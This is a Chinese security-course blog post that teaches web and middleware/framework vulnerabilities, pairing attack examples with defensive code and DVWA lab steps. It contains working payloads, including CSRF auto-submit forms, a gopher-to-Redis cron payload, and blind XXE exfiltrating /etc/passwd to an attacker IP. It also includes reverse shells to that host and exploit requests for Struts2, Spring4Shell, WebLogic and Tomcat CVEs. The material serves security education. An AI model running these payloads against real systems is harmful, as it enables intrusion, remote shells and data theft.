Web漏洞与中间件框架漏洞实战详解
马哥教育网络安全课程实战博客 · 第08篇 对应课程章节:第18-19章 Web漏洞、中间件和框架漏洞 实验环境:4台Ubuntu 24.04服务器,攻击机 113.47.1.165
一、CSRF漏洞
1.1 CSRF原理
CSRF(Cross-Site Request Forgery,跨站请求伪造)是一种利用用户已登录身份,在用户不知情的情况下发送恶意请求的攻击方式。
CSRF攻击的核心原理:
- 用户登录目标网站A,浏览器保存A的Cookie
- 用户访问恶意网站B
- 网站B构造对网站A的请求(携带用户Cookie)
- 网站A以为这是用户的合法操作,执行请求
html
<!-- CSRF攻击示例 - 转账操作 -->
<!-- 目标网站存在以下转账接口 -->
POST /transfer.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
to=hacker&amount=10000
<!-- 攻击者构造的恶意页面 -->
<html>
<body>
<form id="csrf" action="http://bank.com/transfer.php" method="POST">
<input type="hidden" name="to" value="hacker">
<input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>
1.2 CSRF利用技术
html
<!-- GET型CSRF - 利用图片标签 -->
<img src="http://target.com/delete.php?id=123" style="display:none">
<!-- POST型CSRF - 自动提交表单 -->
<form action="http://target.com/change_password.php" method="POST" id="f">
<input type="hidden" name="new_password" value="hacked123">
</form>
<script>document.getElementById('f').submit();</script>
<!-- 利用XMLHttpRequest(需要CORS允许) -->
<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', 'http://target.com/change_email.php', true);
xhr.withCredentials = true;
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('email=hacker@evil.com');
</script>
<!-- JSON型CSRF -->
<form action="http://target.com/api/update" method="POST" enctype="text/plain">
<input name='{"email":"hacker@evil.com","ignore":"' value='"}' type="hidden">
</form>
<script>document.forms[0].submit();</script>
1.3 CSRF防御
Token防御是最有效的CSRF防护方式。
php
// PHP CSRF Token防御
<?php
// 生成Token
function generateCSRFToken() {
if(empty($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
return $_SESSION['csrf_token'];
}
// 验证Token
function verifyCSRFToken($token) {
return isset($_SESSION['csrf_token']) &&
hash_equals($_SESSION['csrf_token'], $token);
}
// 表单中嵌入Token
$token = generateCSRFToken();
echo '<form method="POST" action="update.php">';
echo '<input type="hidden" name="csrf_token" value="' . $token . '">';
echo '<input type="text" name="data">';
echo '<button type="submit">提交</button>';
echo '</form>';
// 服务端验证
if(!verifyCSRFToken($_POST['csrf_token'] ?? '')) {
die("CSRF验证失败!");
}
?>
python
# Flask CSRF防御
from flask import Flask, request, session, render_template
from itsdangerous import URLSafeTimedSerializer
app = Flask(__name__)
app.secret_key = 'your-secret-key'
serializer = URLSafeTimedSerializer(app.secret_key)
@app.before_request
def generate_csrf_token():
if 'csrf_token' not in session:
session['csrf_token'] = serializer.dumps({'token': os.urandom(16).hex()})
request.csrf_token = session['csrf_token']
@app.route('/update', methods=['POST'])
def update():
token = request.form.get('csrf_token')
try:
serializer.loads(token, max_age=3600)
except:
return 'CSRF验证失败', 403
# 处理业务逻辑
return '更新成功'
其他防御方式:
http
// SameSite Cookie属性
Set-Cookie: session=xxx; SameSite=Strict
Set-Cookie: session=xxx; SameSite=Lax
// Referer验证
// 服务端检查Referer是否来自同源
二、SSRF漏洞
2.1 SSRF原理
SSRF(Server-Side Request Forgery,服务端请求伪造)是指攻击者利用存在漏洞的Web应用,让服务器代替攻击者发起请求,从而访问内网资源或执行其他操作。
php
// 存在SSRF漏洞的代码
<?php
$url = $_GET['url'];
// 直接请求用户提供的URL,无任何校验
$content = file_get_contents($url);
echo $content;
?>
2.2 SSRF利用
bash
# 读取本地文件
curl "http://target.com/fetch.php?url=file:///etc/passwd"
# 访问内网服务
curl "http://target.com/fetch.php?url=http://192.168.1.1/admin"
curl "http://target.com/fetch.php?url=http://127.0.0.1:8080/"
# 探测内网端口
curl "http://target.com/fetch.php?url=http://127.0.0.1:22"
curl "http://target.com/fetch.php?url=http://127.0.0.1:3306"
curl "http://target.com/fetch.php?url=http://127.0.0.1:6379"
# 利用gopher协议攻击Redis
curl "http://target.com/fetch.php?url=gopher://127.0.0.1:6379/_*1%0d%0a\$8%0d%0aflushall%0d%0a*3%0d%0a\$3%0d%0aset%0d%0a\$1%0d%0a1%0d%0a\$64%0d%0a%0d%0a%0d%0a%0d%0a*2%0d%0a\$3%0d%0aconfig%0d%0a\$3%0d%0aset%0d%0a\$3%0d%0adir%0d%0a\$16%0d%0a/var/spool/cron/%0d%0a*2%0d%0a\$3%0d%0aconfig%0d%0a\$3%0d%0aset%0d%0a\$10%0d%0adbfilename%0d%0a\$4%0d%0aroot%0d%0a*1%0d%0a\$4%0d%0asave%0d%0a"
# 利用dict协议探测端口
curl "http://target.com/fetch.php?url=dict://127.0.0.1:6379/info"
2.3 SSRF绕过
bash
# IP地址格式绕过
http://0x7f000001/ # 十六进制
http://2130706433/ # 十进制
http://017700000001/ # 八进制
http://127.1/ # 简写
http://[::1]/ # IPv6
http://127.0.0.1.nip.io/ # DNS重绑定
# 利用URL解析差异
http://evil@127.0.0.1/ # @前为用户名,实际访问127.0.0.1
http://127.0.0.1#@evil.com/ # #后被忽略
# 302跳转绕过
# 攻击者服务器返回302跳转到内网地址
2.4 SSRF防御
php
// SSRF防御代码
<?php
function safeFetch($url) {
// 1. 协议白名单
$parsed = parse_url($url);
if(!in_array($parsed['scheme'], ['http', 'https'])) {
die("协议不允许");
}
// 2. 解析IP并检查
$ip = gethostbyname($parsed['host']);
$ip_long = ip2long($ip);
// 禁止内网IP
$forbidden_ranges = [
['0.0.0.0', '0.255.255.255'], // 0.0.0.0/8
['10.0.0.0', '10.255.255.255'], // 10.0.0.0/8
['127.0.0.0', '127.255.255.255'], // 127.0.0.0/8
['172.16.0.0', '172.31.255.255'], // 172.16.0.0/12
['192.168.0.0', '192.168.255.255'],// 192.168.0.0/16
];
foreach($forbidden_ranges as $range) {
if($ip_long >= ip2long($range[0]) && $ip_long <= ip2long($range[1])) {
die("禁止访问内网地址");
}
}
// 3. 禁止重定向
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
return curl_exec($ch);
}
?>
三、XXE漏洞
3.1 XXE原理
XXE(XML External Entity Injection,XML外部实体注入)是指攻击者通过在XML数据中注入恶意的外部实体定义,当XML解析器处理该数据时,读取服务器上的敏感文件或发起网络请求。
xml
<!-- XXE基本原理 -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
3.2 XXE利用
xml
<!-- 读取文件 -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<user><name>&xxe;</name></user>
<!-- 读取PHP文件(Base64编码避免解析错误) -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/config.php">]>
<user><name>&xxe;</name></user>
<!-- SSRF利用 -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://127.0.0.1:8080/admin">]>
<user><name>&xxe;</name></user>
<!-- 无回显XXE(Blind XXE)- 带外数据提取 -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://113.47.1.165/evil.dtd">
%dtd;
]>
<user><name>test</name></user>
<!-- evil.dtd (攻击者服务器上的DTD文件) -->
<!ENTITY % all "<!ENTITY send SYSTEM 'http://113.47.1.165/?data=%file;'>">
%all;
3.3 XXE防御
python
# Python防御XXE
from lxml import etree
# 安全的XML解析配置
parser = etree.XMLParser(
resolve_entities=False, # 禁止解析外部实体
no_network=True, # 禁止网络访问
load_dtd=False, # 禁止加载外部DTD
)
tree = etree.fromstring(xml_data, parser)
php
// PHP防御XXE
<?php
// 方法1:libxml禁用外部实体加载
libxml_disable_entity_loader(true);
$xml = simplexml_load_string($xml_data);
// 方法2:DOMDocument设置
$dom = new DOMDocument();
$dom->resolveExternals = false;
$dom->substituteEntities = false;
$dom->loadXML($xml_data);
?>
四、命令注入漏洞
4.1 OS命令注入原理
命令注入是指攻击者通过Web应用向操作系统发送恶意命令,在服务器上执行任意系统命令。
php
// 存在命令注入的代码
<?php
$ip = $_GET['ip'];
// 直接拼接系统命令
system("ping -c 4 " . $ip);
?>
4.2 命令注入利用
bash
# 基本命令注入
curl "http://target.com/ping.php?ip=127.0.0.1;id"
curl "http://target.com/ping.php?ip=127.0.0.1|id"
curl "http://target.com/ping.php?ip=127.0.0.1&&id"
curl "http://target.com/ping.php?ip=127.0.0.1||id"
# 反引号注入
curl "http://target.com/ping.php?ip=`id`"
# $()注入
curl "http://target.com/ping.php?ip=\$(id)"
# 命令注入读取文件
curl "http://target.com/ping.php?ip=127.0.0.1;cat /etc/passwd"
# 反弹Shell
curl "http://target.com/ping.php?ip=127.0.0.1;bash -i >& /dev/tcp/113.47.1.165/4444 0>&1"
4.3 命令注入防御
python
# Python防御 - 使用参数化命令
import subprocess
# 错误方式 - 直接拼接
# subprocess.call(f"ping -c 4 {ip}", shell=True)
# 正确方式 - 使用列表传参,不使用shell
result = subprocess.call(["ping", "-c", "4", ip], shell=False)
# 输入验证 - 白名单
import re
if not re.match(r'^(\d{1,3}\.){3}\d{1,3}$', ip):
raise ValueError("无效的IP地址")
php
// PHP防御 - escapeshellarg
<?php
$ip = escapeshellarg($_GET['ip']);
system("ping -c 4 " . $ip);
// 更好的方式 - 使用白名单验证
$ip = $_GET['ip'];
if(filter_var($ip, FILTER_VALIDATE_IP)) {
system("ping -c 4 " . escapeshellarg($ip));
}
?>
五、逻辑漏洞
逻辑漏洞是指由于业务逻辑设计缺陷导致的安全问题,无法通过传统安全防护(如WAF)检测。
5.1 常见逻辑漏洞类型
python
# 1. 越权访问 - 修改用户ID访问他人数据
# 漏洞代码
@app.route('/user/<int:user_id>')
def get_user(user_id):
# 未验证当前登录用户是否有权访问user_id的数据
user = db.get_user(user_id)
return jsonify(user.to_dict())
# 修复 - 验证权限
@app.route('/user/<int:user_id>')
@login_required
def get_user(user_id):
if current_user.id != user_id and not current_user.is_admin:
abort(403)
user = db.get_user(user_id)
return jsonify(user.to_dict())
php
// 2. 密码重置逻辑漏洞
// 漏洞:验证码可爆破、步骤可跳过
// 修复:增加验证码尝试次数限制、每步验证前置步骤完成
// 3. 支付逻辑漏洞
// 漏洞:修改金额、数量为负数
// 修复:服务端重新计算金额,禁止负数
// 4. 并发漏洞
// 漏洞:利用并发请求多次使用优惠券
// 修复:使用数据库锁、Redis原子操作
六、中间件漏洞
6.1 Apache漏洞
apache
# Apache解析漏洞 - 多后缀名解析
# shell.php.jpg.abc -> 从右向左解析,abc不识别,jpg不识别,php识别
# 文件被当作PHP执行
# Apache目录遍历 - Options配置错误
# httpd.conf中配置了 Options +Indexes
# 导致目录列表暴露
# 修复
<Directory /var/www/html>
Options -Indexes # 禁止目录列表
AllowOverride None
Require all granted
</Directory>
bash
# CVE-2021-41773 / CVE-2021-42013 - Apache路径穿越
# Apache 2.4.49/2.4.50 路径穿越和RCE
curl --path-as-is "http://target.com/cgi-bin/../../../../etc/passwd"
# 利用RCE
curl --path-as-is "http://target.com/cgi-bin/../../../../bin/sh" \
-d 'echo Content-Type: text/plain; echo; id; uname -a'
6.2 Nginx漏洞
nginx
# Nginx路径穿越 - alias配置错误
# 错误配置
location /files {
alias /var/www/uploads/; # /files../ -> /var/www/uploads/../
}
# 正确配置 - 结尾加斜杠
location /files/ {
alias /var/www/uploads/;
}
# Nginx解析漏洞 - 配置错误导致PHP执行
# 错误配置
location ~ \.php$ {
fastcgi_pass 127.0.0.1:9000;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
}
# 访问 shell.jpg/x.php 时,Nginx将请求转发给PHP
# PHP忽略/x.php,解析shell.jpg
bash
# Nginx整数溢出漏洞 CVE-2017-7529
# 读取缓存文件内容
curl -H "Range: bytes=-17208,-9223372036854757592" http://target.com/
# Nginx目录穿越
curl http://target.com/files../etc/passwd
6.3 Tomcat漏洞
bash
# Tomcat弱口令 - 后台管理页面爆破
# 默认路径: /manager/html
# 默认账号: tomcat/tomcat, admin/admin, manager/manager
hydra -L users.txt -P pass.txt target.com http-get /manager/html
# Tomcat部署War包获取WebShell
# 1. 登录管理后台
# 2. 部署包含JSP WebShell的WAR包
# 3. 访问WebShell
# CVE-2020-1938 - Ghostcat (AJP协议漏洞)
# Tomcat AJP协议默认监听8009端口
# 攻击者可以读取或包含任意文件
python ajpShooter.py http://target.com 8009 /WEB-INF/web.xml read
# CVE-2017-12615 - Tomcat PUT方法任意文件写入
# Tomcat配置了readonly=false
curl -X PUT "http://target.com/shell.jsp/" -d '<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>'
# CVE-2019-0232 - Tomcat CGI RCE (Windows)
# Tomcat启用CGIServlet且运行在Windows上
6.4 WebLogic漏洞
bash
# WebLogic反序列化漏洞
# CVE-2015-4852 - WebLogic T3协议反序列化
# 默认端口7001
# 利用T3协议发送序列化对象
java -jar ysoserial.jar CommonsCollections1 'bash -i >& /dev/tcp/113.47.1.165/4444 0>&1' > payload.bin
python exploit.py target.com 7001 payload.bin
# CVE-2017-10271 - WebLogic WLS Security反序列化
curl -X POST "http://target.com:7001/wls-wsat/CoordinatorPortType" \
-H "Content-Type: text/xml" \
-d '<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0"><string>bash</string></void>
<void index="1"><string>-c</string></void>
<void index="2"><string>id</string></void>
</array>
<void method="start"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>'
# CVE-2019-2725 - WebLogic wls9-async反序列化
# CVE-2020-14882 - WebLogic未授权RCE
curl "http://target.com:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(\"http://113.47.1.165/poc.xml\")"
# WebLogic SSRF漏洞
# CVE-2014-4210 - UDDI Explorer SSRF
curl "http://target.com:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://127.0.0.1:80&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+category&selcat=KEYWORD&btnSubmit=Search"
七、框架漏洞
7.1 Struts2漏洞
bash
# S2-045 (CVE-2017-5638) - Content-Type OGNL注入
# 影响Struts2 2.3.5-2.3.31, 2.5-2.5.10
curl -H "Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#o=@org.apache.struts2.ServletActionContext@getResponse()).(#o.getWriter().println(@org.apache.commons.io.IOUtils@toString(@org.apache.struts2.ServletActionContext@getRequest().getInputStream()))).(#o.getWriter().flush()).(#o.getWriter().close())}" \
"http://target.com/struts2.action"
# S2-046 (CVE-2017-5638) - 文件上传文件名OGNL注入
# 利用文件名中包含OGNL表达式
# 在Burp Suite中修改上传文件名为:
# %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)...}.txt
# S2-052 (CVE-2017-9805) - REST插件XStream反序列化
# S2-061 (CVE-2020-17530) - OGNL注入
curl -H "Content-Type: application/x-www-form-urlencoded" \
-d "name=%23%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%23_memberAccess%3D%23dm.%23o%3D%40org.apache.struts2.ServletActionContext%40getResponse%28%29.%23o.getWriter%28%29.println%28%27OK%27%29.%23o.getWriter%28%29.flush%28%29" \
"http://target.com/struts2.action"
7.2 Spring框架漏洞
bash
# Spring4Shell (CVE-2022-22965) - Spring Framework RCE
# 影响Spring Framework 5.3.0-5.3.17, 5.2.0-5.2.19 + JDK 9+
# 利用ClassLoader修改Tomcat日志配置写入WebShell
curl -X POST "http://target.com/app/" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "class.module.classLoader.resources.context.parent.pipeline.first.pattern=...webshell...&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.servicename=Tomcat"
# Spring Boot Actuator未授权访问
# /actuator/env - 泄露环境变量(可能包含密码)
curl http://target.com/actuator/env
# /actuator/heapdump - 下载堆转储文件
curl http://target.com/actuator/heapdump -o heapdump
# 分析堆转储提取密码
jmap -histo heapdump | grep -i password
# /actuator/jolokia - JMX RCE
curl http://target.com/actuator/jolokia/list
# Spring Cloud Function SpEL注入 (CVE-2022-22963)
curl -X POST "http://target.com/functionRouter" \
-H "spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(\"id\")" \
-d "test"
7.3 Django/Flask常见问题
python
# Django常见安全问题
# 1. DEBUG模式开启 - 信息泄露
# settings.py
DEBUG = True # 生产环境必须设为False
# 2. SECRET_KEY泄露
SECRET_KEY = 'hardcoded-key' # 不要硬编码
# 3. ALLOWED_HOSTS配置不当
ALLOWED_HOSTS = ['*'] # 生产环境应指定具体域名
# 4. SQL注入 - raw查询
# 漏洞代码
User.objects.raw("SELECT * FROM users WHERE name = '%s'" % name)
# 安全代码
User.objects.raw("SELECT * FROM users WHERE name = %s", [name])
# 或使用ORM
User.objects.filter(name=name)
python
# Flask常见安全问题
# 1. Debug模式 - PIN码计算可RCE
app.run(debug=True) # 生产环境关闭debug
# 2. Werkzeug Debugger PIN计算
# 如果debug=True且PIN可预测,攻击者可执行任意代码
# PIN基于机器信息(MAC地址、用户名等)计算
# 防御:生产环境关闭debug模式
# 3. Flask Session伪造
# Flask默认使用客户端Session(签名Cookie)
# 如果SECRET_KEY泄露,可以伪造Session
app.secret_key = 'weak-key' # 使用强密钥
# 4. SSTI模板注入
# 漏洞代码
@app.route('/page')
def page():
template = request.args.get('template')
return render_template_string(template) # 用户可控模板
# 安全代码
return render_template('page.html', content=template)
八、实战演练
8.1 CSRF实战 - DVWA
bash
# DVWA CSRF模块
# Low级别 - 无任何防护
# 构造恶意页面修改密码
echo '<html><body>
<form action="http://target/dvwa/vulnerabilities/csrf/" method="GET" id="f">
<input type="hidden" name="password_new" value="hacked">
<input type="hidden" name="password_conf" value="hacked">
<input type="hidden" name="Change" value="Change">
</form>
<script>document.getElementById("f").submit()</script>
</body></html>' > csrf_poc.html
8.2 命令注入实战 - DVWA
bash
# DVWA Command Injection模块
# Low级别
curl "http://target/dvwa/vulnerabilities/exec/?ip=127.0.0.1;id&Submit=Submit" -b "PHPSESSID=xxx;security=low"
# Medium级别 - 过滤&&和;
curl "http://target/dvwa/vulnerabilities/exec/?ip=127.0.0.1|id&Submit=Submit" -b "PHPSESSID=xxx;security=medium"
# High级别 - 过滤更多字符,检查是否有遗漏
# 尝试各种绕过方式
8.3 中间件漏洞扫描
bash
# 使用工具扫描中间件漏洞
# Nmap服务识别
nmap -sV -p 80,443,8080,7001,8009,9090 target.com
# 使用nikto扫描Web服务器漏洞
nikto -h http://target.com
# 使用testssl检查SSL配置
testssl.sh https://target.com
# Tomcat漏洞检测
curl http://target.com:8080/manager/html # 检查管理页面
curl http://target.com:8080/docs/ # 检查文档暴露
# WebLogic漏洞检测
curl http://target.com:7001/console # 检查控制台
curl http://target.com:7001/uddiexplorer/SearchPublicRegistries.jsp # SSRF
九、总结
Web漏洞要点
| 漏洞类型 | 核心原理 | 关键防御 |
|---|---|---|
| CSRF | 利用用户已登录身份发请求 | CSRF Token + SameSite Cookie |
| SSRF | 服务器代替攻击者发请求 | 协议白名单 + IP黑名单 |
| XXE | XML解析外部实体 | 禁用外部实体解析 |
| 命令注入 | 拼接系统命令 | 参数化调用 + 输入验证 |
| 逻辑漏洞 | 业务设计缺陷 | 权限校验 + 服务端验证 |
中间件框架漏洞要点
- Apache:解析漏洞、路径穿越、配置错误
- Nginx:解析漏洞、路径穿越、配置错误
- Tomcat:弱口令、AJP Ghostcat、PUT写入
- WebLogic:反序列化、SSRF、未授权RCE
- Struts2:OGNL注入系列漏洞
- Spring:Spring4Shell、Actuator未授权
- Django/Flask:Debug模式、密钥泄露、SSTI
安全建议
- 及时更新中间件和框架到最新版本
- 关闭不必要的管理接口和功能
- 修改默认口令,使用强密码
- 配置正确的访问控制和权限
- 定期进行漏洞扫描和安全评估
免责声明:本文内容仅供安全学习和授权测试使用。未经授权对他人系统进行测试属于违法行为。请在合法授权范围内进行所有安全测试。